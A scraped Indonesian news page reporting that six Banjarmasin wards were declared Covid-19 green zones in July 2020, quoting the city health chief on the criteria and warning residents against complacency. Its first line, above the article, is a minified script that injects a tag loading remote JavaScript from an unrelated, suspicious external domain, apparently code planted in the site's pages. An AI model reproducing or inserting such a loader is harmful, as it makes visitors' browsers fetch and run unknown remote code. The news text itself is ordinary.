(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

KABAR BAIK. Enam Kelurahan di Banjarmasin Zona Hijau, Kandinkes: Status Bisa Berubah Tergantung Perilaku Warga


KANALKALIMANTAN.COM, BANJARMASIN – Kabar gembira datang dari Dinas Kesehatan (Dinkes) Kota Banjarmasin. Kendati kasus Covid-19 di Kota Banjarmasin masih sangat tinggi, setidaknya sudah ada enam kelurahan yang dinyatakan sebagai zona hijau.

Hal ini diungkapkan Kepala Dinkes Kota Banjarmasin Dr Machli Riyadi di Balai Kota Banjarmasin, Selasa (21/7/2020) siang.

“Berdasarkan hasil evaluasi dengan kepala Puskesmas, zona hijau di kota Banjarmasin bertambah menjadi enam kelurahan. Yaitu Alalak Tengah, Belitung Utara, Kertak Baru Ulu, Kertak Baru Ilir, Mawar dan Kelayan Luar,” kata Machli.

Lalu, bagaimana indikator sebuah kelurahan dinyatakan zona hijau? Mantan Wakil Direktur Administrasi dan Keuangan RS Jiwa Sambang Lihum ini memaparkan, suatu kelurahan dinyatakan zona hijau jika tidak ada lagi temuan kasus baru positif Covid-19.

Baca juga :

 

“Serta kasus lama sudah sembuh semua. Di samping di suatu wilayah itu tidak ada kasus baru, serta tidak ada lagi yang memasuki masa pemantauan. Juga sembuh semua seusai masa pemantauan,” jelas Machli.

Di samping itu, Machli menambahkan, upaya-upaya untuk mempertahankan status zona hijau tetap harus dilakukan. Selain edukasi kepada masyarakat, perilaku masyarakat dalam menerapkan protokol kesehatan juga harus dipertahankan.

“Jadi, kembali kepada masyarakat itu sendiri,” lugasnya.

Tak hanya mempertahankan status zona hijau, Machli mengatakan, upaya untuk “menghijaukan” kelurahan-kelurahan di kota Banjarmasin juga dilakukan. Ia sendiri menyebut, Pemko Banjarmasin mendapatkan dukungan dari Kapolda Kalsel dan Kapolresta Banjarmasin dalam menekan kasus positif Covid-19 di Kota Banjarmasin.

Baca juga :

“Bahkan, target kita berikutnya yaitu angka cased confirmed-nya lebih sedikit. Itu lebih mudah untuk kita hijaukan. Salah satunya adalah kampung tangguh itu,” tandas Machli.

Kendati begitu, Machli mengingatkan agar masyarakat di enam kelurahan ini untuk tidak terjebak dalam euforia. Karena, status zona hijau bisa saja berubah tergantung dengan perilaku masyarakat dalam menerapkan protokol kesehatan. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

Desy Arfianty

Recent Posts

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

2 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

2 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

4 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

6 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

7 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

19 jam ago

This website uses cookies.